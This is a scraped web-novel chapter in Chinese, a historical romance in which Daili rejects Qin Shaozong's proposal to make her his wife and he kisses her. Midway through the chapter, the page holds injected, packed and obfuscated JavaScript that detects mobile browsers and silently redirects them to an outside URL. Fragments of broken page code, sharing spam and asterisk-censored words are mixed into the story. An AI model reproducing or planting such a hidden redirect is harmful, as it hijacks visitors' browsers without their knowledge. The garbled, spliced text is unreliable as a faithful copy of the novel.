默认冷灰
24号文字
方正启体

第105章 不是非他不可

作者:未眠灯本书字数:K更新时间:
    卫澄听不到那句“新去处”,她看着秦邵宗除了惊愕于他竟没对上号以外还有他的……状况。


    身高八尺有余的男人着黑袍,墨发以冠帻高束他面色如常,雄姿英发腰悬环首刀势重如山嶽根本不像负伤的虚弱模样。


    没受伤?


    那何以先前“武安侯命悬一线”的消息传得沸沸扬扬?


    莫不是假的?还是说丁老先生妙手回春,将他从阎王殿里抢了回来?


    卫澄回过神来,忙从座上起来对秦邵宗福身见礼,“妾拜见君侯愿君侯身体安康,福泽绵长。”


    低头见礼间卫澄一直偷偷观察上首,惊讶地发现那位居然动都不动,就和椅子粘上了似的。


    而男人熟视无睹显然是习惯了。


    习惯她的随意各方各面的随意不论是否有外人在场。


    “坐吧。”秦邵宗走到黛黎身旁坐下,“许久未见卫老长史了,他近来如何?”


    卫老长史这是卫澄和卫家兄弟的父亲。


    卫澄闻言立马露出忧悒之色“家父近来食不下咽……”


    还不等她说完后半句上首的男人插话过来,“那可能是年纪大了牙口不好。”


    黛黎拿着茶盏的手一抖茶水晃出些许将她衣袖润出一小片深色。她低眸看杯盏很庆幸还没来得及喝。


    秦长庚这人说话真是一如既往难听。


    心里才嘀咕完一句身旁人便往她这边看。


    黛黎也转头和他四目相对。


    秦邵宗伸手从黛黎腰间的小荷包里抽出手帕拿她的帕子帮她拭了拭袖子“夫人的衣裳湿了不如你先行回房更衣吧。”


    黛黎低头看。


    确实湿了但也就湿了那么一小片连四分之一个巴掌都不到说不准再在这里坐一会儿


    不过……


    “也好。”黛黎乐得自在。


    这位卫夫人来访目的不单纯卫家是他姻亲交给他自己应付。


    于是在卫澄瞠目结舌之中黛黎带着两个女婢施施然地走了。


    卫澄心里嘶地抽凉气难以置信她居然连头都不回。


    在黛黎离开的一盏茶不到秦邵宗以身体不适为由也离开了正厅只留下小儿子继续招待。


    黛黎前脚回到主院秦邵宗后脚便跟了进来。


    “夫人过几日我胞妹带她女儿来府上小住。”秦邵宗坐她身旁坐下。


    黛黎现在一听来客就头疼这位更是重量级不仅要带女儿一同小住还是他亲妹。


    以她和他如今的关系她完全能料想到他亲妹见到她后可能会旁敲侧击地问她许多问题。


    黛黎以手


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    支额,眼睫垂得低低的,只看着面前的檀木案几,“秦长庚,你回你的君侯府行不行?你和云策祈年他们一起回去,到时你妹妹来,你们在那边接待她们。我不是你们这边的人,你们的弯弯绕绕我不懂,我应付不来。”


    今日见客这一出,回来那一路黛黎自个琢磨了下,越是琢磨,越是觉得他今日有所图。


    秦邵宗可不是闲人。


    他专程露面,又待了片刻不到就离场,怎么看都好像以卫夫人为媒介,让她对外传递某种信息。


    但说实话,黛黎对渔阳的望族斗争完全没兴趣,她不关心哪家在权斗中占据上风,也对秦邵宗未来的计划不感兴趣。


    先前是她想得太简单了,只觉接待个客人,当普通来客即可。然而今日一见,没聊几句她就觉得不寻常。


    她当对方是寻常访客,对方却并非单纯来唠嗑。


    “夫人,我此番让红英回来,主要是让她认一认人。”秦邵宗握住她另一只手。


    黛黎试图抽回手,“认什么人,你妹妹都嫁到外郡去,按你们这里的规矩,她一年估计都回不来几回,何必折腾我。”


    “确实回不来几次,但总归要认得君侯府的主母。”秦邵宗长指插入她的指缝,和那只白皙柔软的素手十指相扣。


    黛黎一愣,待反应过来他这话是什么意思,本来还只是有气无力地缩手,瞬间像被蛇咬了一口般,闪电般往回缩。


    秦邵宗没料到她的反应那么大,本能地抓住,却只能抓到她的指尖。


    捏住那点粉白的指尖不放,深色的大掌宛若叼住了肉食的虎,咬住不松,往回一拽以后,利落虎口大张将其彻底裹入腹中。


    “黛黎,你什么意思?”他紧紧盯着她。


    这话也是明知故问,刚刚她那见鬼似的一缩手,他哪能不明白。


    她不乐意嫁他,对君侯府主母之位避如蛇蝎!


    黛黎的手被他紧紧握住,那道灼热又带着锋芒的目光落在身上,像要将她烤化。


    她并非无所觉,只是仍没有看他,依旧垂着头看案几,像能在上个面看出一朵花来。


    “黛黎!”他极少连名带姓喊她。


    他每一回这般喊,绝对是要和她说的事非同一般。


    黛黎眼睫微颤,到底转头看向秦邵宗,眼里有深深的无奈,“秦长庚,那样不好。”


    她当初说“不做妾”,除了是拥有现代灵魂的她最基本的一则以外,还是那时被莫延云缠得没办法、不得不给出的解释。


    不做妾只是基础,不代表满足了,就等于可以结婚。她也从没有想过和一个土生土长的封建男人成婚。


    说到底,她和他的观念不一样。


    可能有人觉得


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    这两个字没什么分量,无伤大雅。但不然,观念不合就像在两人之间洒了一捧沙石泥土和种子,起初可能无关要紧。


    随着日子一天天地过,那些不适和矛盾,就会像野草一样疯狂生长,最后长成令双方都没办法忍受和忽视的苍天大树。


    古人和她的观念中间横跨千年,犹如一道巨大的天堑。


    她跨不过去,接受不了三从四德,和自己的男**妾成群;秦邵宗也理解不了从一而终,和为何要对与自己身份地位悬殊的女郎讲尊重。


    这都是无解的。


    她如今只想快快将州州身上的蛊虫除了。至于其他,无论是他的亲眷也好,还是他后院里的那些姬妾,只要不在她面前转悠,她都可以看在他劳心劳力为州州付出的份上,像鸵鸟一样把脑袋埋在沙子里,忍一段时间。


    “有何不好?”秦邵宗沉声问。


    如果一年前,有人告诉他他会费心费力给一众渔阳望族设局,只为了破除自己当初必娶卫氏女为妻的承诺,他一定会耻笑那人天方夜谭。


    倘若有人再告诉他,那个被他捧着奉上君侯府主母之位的女郎,对此不屑一顾,甚至第一时间拒了他,他一定会勃然大怒,再将那人的脑袋拧下来当酒樽。


    然而如今,秦邵宗除了荒唐以外,只有说不出的郁闷。


    “你我不合适。”黛黎只是道。


    他追问,“你那个丈夫想来今后再无缘与你见面,和**有什区别?而我妻位空悬。你寡我鳏,何处不合适?”


    “不仅是这个问题。这天下寡妇和鳏夫千千万,若仅是丧偶就能两两配对,未免太过荒唐和随意。”最后那两字落下,黛黎分明看到他颈侧的青筋在跳。


    秦邵宗只觉一股怒火直冲上头,愤怒也在他的胸腔里炸开,形成无数锋利的刺球,叫他几欲呕血。


    随意。


    她居然说随意!


    他硬生生将那股怒气摁回去,“卫家之事在处理,君侯府的修葺已提上日程,后院那些姬妾也自有去处。夫人倒与我说,以上种种,哪一桩是随意?”


    他知晓桃花源非同一般,她双手几乎无茧,可见并非从事体力劳动。


    有家底,博学聪慧又极为美丽,这样的女人是相当傲气的,和旁人共侍一夫的几率非常小。


    且有了她以后,什么李姬杜姬,留着也无用。散了就散了吧,叫她们到外面吃别家的米饭去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684554|188795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黛黎愣住,忽然想起一事。当初在船上时,谛听说武安侯曾与卫家有过约定,他若要续弦只能娶卫氏女。


    还有他说姬妾自有去处。


    难道是遣散了?


    黛黎承认,一个自打从娘胎落地就沐浴在封建大环境的男人,能为


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    她做到这种地步,她不是没有触动。


    她也承认她如今挺喜欢秦邵宗,但那是最浅显的、完全停留于生理层次上的好感。纯粹是因为这个男人足够强壮,技术足够好,在床上和她合拍。


    这种肤浅的好感是可以替代的,不是他,也能是其他人,真没什么非他不可。


    而且这个时代只有休妻,没有和离一说。和离制一直到唐代才被正式写入律法,受官方的认可和保护。


    现在的秦邵宗对她热忱,往后呢?她不怀疑真心,但真心易变。


    “秦长庚,我们先不说这个好不好。州州的蛊毒还没有除去,我现在没有心思想其他。”黛黎低声道。


    她的声音放得很轻,像天上柔软的、飘着小雨的云,也像窗台上拂过的风。


    秦邵宗胸腔里的那团火翻滚了几个来回,烧得他心肝脾肺都生疼。


    窗外鸟鸣不断,叽叽喳喳,传到秦邵宗耳中,他只觉更加心烦。


    真是该死的烦人。


    男人深深吸了一口气又呼出,到底不是****躁躁的冲动少年人,他有这个年纪该有的沉稳,很明白有些话平日开玩笑时能说,如今绝对说不得。


    这狐狸本就不乐意,再拿话刺她,估计以后躲洞里连往外探头都不愿。


    “行,那就等秦宴州病愈以后再谈。”他妥协了。


    黛黎惊讶地看了他一眼。


    秦邵宗真是被黛黎这个眼神气笑了。


    在她眼里,难道他就是那等蛮横**之人?


    黛黎看着他眼里的火噌地上来了,张嘴欲解释,但先前握着她的大掌此时猝地用力将她一带。


    在黛黎的惊呼中,烟紫色的衣玦翻出一抹弧度,她整个人栽入身旁男人的怀中。后者一手箍着她的腰,另一手抬起她的下颌,俯首吻了下去。


    这个吻无疑携着怒意,那把在秦邵宗胸腔内翻腾叫嚣的火焰,似乎随着连接处烧了过去。


    黛黎被他卷着,咬着,吮着。后背抵着他的长臂,前面与其紧密张贴。


    日光正盛的午后,屋内亮堂得很,分毫毕现。而他亲吻时一如既往地不闭上眼睛。


    那双狭长的棕眸紧紧锁着她,对比最初,里面多了许多沉甸甸的、像浓墨一样化不开的情绪。


    黛黎眼帘半垂,也没有完全阖眼,只将视线压了压,和秦邵宗的错开。


    忽地,他匆匆结束了这一吻,往后退开了些,但长臂还紧圈着人。


    “那事以后再谈也可,但夫人先应我一个要求。”他气息很沉,胸腔起伏得厉害,也不知是怒气未散,还是被暗火憋的。


    黛黎觉得可能两者都有,但她转开头,“先前都应你那般多了,你怎还要?”


    她指的是在南洋县被他逮着时,在榻上答应了他许多事。


    “不是那些。”他靠近,吻落在她圆润的耳珠上,先亲一口,而后含入口中,以舌尖摩挲两下,再以犬齿轻咬。


    麻酥的痒意在耳上蔓开,到后脑再到头顶,带出一阵过电般战栗。黛黎脱不开,只能道:“你先说说看。”


    “夫人先答应。”他却道。


    黛黎实在想不明白这人葫芦里卖的什么药,要说正事吧,现在也不是谈正事的状态。


    要说床上的事,先前她已答应过了。


    黛黎抿着唇不说话。


    秦邵宗退开些,将人掰正了,以掌裹着她的下颌,两指轻掐了下她白皙的双颊,让她的红唇“啵”地张开少许,“说话,说好。”


    黛黎:“……那好吧。”


    “夫人喊我一声夫君。”他图穷现匕。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)